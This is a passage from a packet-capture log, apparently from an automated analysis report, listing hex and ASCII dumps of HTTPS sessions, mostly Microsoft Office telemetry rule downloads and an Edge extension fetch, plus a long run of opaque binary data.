de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-25 13:14:40 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-25 13:14:40 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-25 13:14:40 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-25 13:14:40 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-25 13:14:40 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-25 13:14:40 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-25 13:14:40 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:39 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131439Z-15b8b599d88s6mj9hC1TEBur3000000005wg0000000035vv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:40 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:39 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:40 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ffa63380-201e-006e-3b6c-3dbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131440Z-15b8b599d882hxlwhC1TEBfa5w00000005w000000000b480 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:40 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:39 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9906faf6-f01e-0052-624b-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131440Z-15b8b599d88phfhnhC1TEBr51n00000005zg00000000kgdf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:40 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49820	152.195.19.97	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:40 UTC	614	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733145275&P2=404&P3=2&P4=OOj842ellr5tgHkM78u8OKOFD5cmUH1VVBtpwkN4tG948Kmeonk%2fA2m8WkCRzOzlst9Lx7242RaTT6QXcnSYsA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: tX3CqhvzNPm7JfsBqr2jtx Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:41 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12467012 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Mon, 25 Nov 2024 13:14:41 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-25 13:14:41 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:40 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: e1811c2a-201e-00aa-06c6-3e3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131440Z-178bfbc474bh5zbqhC1NYCkdug00000007c000000000dm4h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:41 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131442Z-178bfbc474bv587zhC1NYCny5w00000007a000000000eqf3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:41 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:42 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 81bf26fc-f01e-0099-6bb6-3e9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131442Z-178bfbc474btrnf9hC1NYCb80g00000007qg000000006waa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:42 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
